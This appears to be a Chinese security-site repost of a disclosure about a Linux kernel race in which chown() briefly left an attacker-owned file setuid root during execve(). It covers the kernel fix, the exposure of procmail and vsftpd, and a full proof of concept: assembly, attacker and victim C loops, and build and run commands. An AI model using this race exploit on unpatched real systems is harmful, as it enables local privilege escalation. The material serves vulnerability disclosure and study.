Linux chown() was racy relative to execve()

没穿底裤 2020年1月1日03:44:04评论384 views字数 2889阅读9分37秒阅读模式
摘要

On non-ancient Linux machines, chown() clears the setuid and setgid bits.
However, until now, that was racy relative to execve(): While chown() took
the i_mutex while modifying owner, group and mode, execve() didn't take that
lock. Because chown() also set the user and group before setting the mode,
this meant that when root chown()ed an attacker-owned setuid file to root,
the file briefly was setuid root (and executable as such).

On non-ancient Linux machines, chown() clears the setuid and setgid bits.
However, until now, that was racy relative to execve(): While chown() took
the i_mutex while modifying owner, group and mode, execve() didn't take that
lock. Because chown() also set the user and group before setting the mode,
this meant that when root chown()ed an attacker-owned setuid file to root,
the file briefly was setuid root (and executable as such).

This was fixed here by taking the i_mutex in the execve path:
https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8b01fc86b9f425899f8a3a8fc1c47d73c2c20543

Two programs for which this could be relevant are procmail and vsftpd.

vsftpd has this comment in privops.c (relevant only if the chown_uploads
option, which defaults to NO, is activated in the server config, see
process_post_login_req() in postprivparent.c):

/* SECURITY! You need an OS which strips SUID/SGID bits on chown(), * otherwise a compromise of the FTP user will lead to compromise of * the "anon_upload_chown_uid" user (think chmod +s). */  procmail, when setuid root, does this when invoked as "procmail -d daemon" if /var/mail/daemon does not exist yet (thanks to jduck for pointing me towards procmail): chown("/var/mail/_QmG.F0wHVB.pc", 1, 8)

As far as I can tell, on a system where procmail is setuid root, this means
that an attacker who has gained access to the "mail" group, which has write
access to /var/mail, can use the chown race to escalate access to any non-root
uid. (procmail optimizes the chown away for root's mailbox.)

Note that *stat() can still show inconsistent data about uid, gid and mode.
This wasn't changed because the stat path is a lot hotter than execve and this
seems like a much bigger issue for execve() than for *stat().

Here's a simple PoC. exec.c is the attacker, chown2.c is the (privileged)
victim. You'll see the message "got root!" every time the attacker wins the
race.

Your console should get spammed with those messages rather quickly if you
don't uncomment the usleep - if you do uncomment it, it might take a while to
succeed or not work at all. On my desktop machine, it still won the race for
6% of all attempts, but on another machine, it seems like it doesn't work at
all with the usleep.

--------------------------------------------------------------------
# just use asm to avoid overhead of dynamic loader

$ cat > a.asm
bits 64  _start: mov rax, 107 ; SYS_geteuid syscall test rax, rax jnz exit mov rax, 1 ; SYS_write mov rdi, 1 ; stdout mov rsi, msg mov rdx, len syscall  exit: mov rax, 231 ; SYS_exit_group mov rdi, 0 syscall  msg db 'got root!',0xa len equ $ - msg

$

nasm -f elf64 -o a.o a.asm && ld -o a a.o
ld: warning: cannot find entry symbol _start; defaulting to 0000000000400080

$

cat > exec.c
#include <stdio.h> #include <unistd.h>  int main(void) { int i = 0; while (1) { pid_t pid = vfork(); if (pid < 0) return 1; if (pid == 0) { char *argv[] = { "a", NULL }; execve("a", argv, argv); puts("execfail"); return 1; } wait(NULL); } }
$ gcc -o exec exec.c $ cat > chown2.c
#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h>  int main(void) { int fd = open("a", 0); if (fd < 0) return 1; while (1) { //usleep(100000); /* uncomment to make it a bit more realistic */ if (fchown(fd, 0, 0) < 0) return 1; if (fchown(fd, 1000, 1000) < 0) return 1; if (fchmod(fd, 06755) < 0) return 1; } }
$ gcc -o chown2 chown2.c $ sudo ./chown2 & ./exec

如果成功的话,会提示:“got root!”

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日03:44:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux chown() was racy relative to execve()https://cn-sec.com/archives/76313.html

发表评论

匿名网友 填写信息